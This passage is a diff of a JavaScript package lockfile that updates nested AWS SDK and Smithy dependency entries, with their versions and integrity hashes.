- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -6877,8 +6325,6 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="],
@@ -6903,6 +6349,62 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-VR2V6dRELmzwAsCpK4GqxUi6UW5WNhAXS9F9AzWi5jvijwJo3nH92YNJUP4quMpgFZxJHEWyXLWgPjh9u0zYOA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/node-http-handler": "^4.4.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-stream": "^4.5.6", "tslib": "^2.6.2" } }, "sha512-inF09lh9SlHj63Vmr5d+LmwPXZc2IbK8lAruhOr3KLsZAIHEgHgGPXWDC2ukTEMzg0pkexQ6FOhXXad6klK4RA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-login": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-N5B15SwzMkZ8/LLopNksTlPEWWZn5tbafZAUfMY5Xde4rSHGWmv5H/ws2M3P8L0X77E2wKnOJsNmu+GsArBreQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-WpanFbHe08SP1hAJNeDdBDVz9SGgMu/gc0XJ9u3uNpW99nKZjDpvPRAdW7WLA4K6essMjxWkguIGNOpij6Do2Q=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.952.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.948.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-1CQdP5RzxeXuEfytbAD5TgreY1c9OacjtCdO8+n9m05tpzBABoNBof0hcjzw1dtrWFH7deyUgfwCl1TAN3yBWQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-5hJbfaZdHDAP8JlwplNbXJAat9Vv7L0AbTZzkbPIgjHhC3vrMf5r3a6I1HWFp5i5pXo7J45xyuf5uQGZJxJlCg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
@@ -6941,8 +6443,6 @@
"@aws-sdk/client-kendra/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
- "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6999,57 +6499,9 @@
"@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-s3/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="],
+ "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/client-s3/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
-
- "@aws-sdk/client-s3/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-login": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="],
-
- "@aws-sdk/client-s3/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
-
- "@aws-sdk/client-s3/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
-
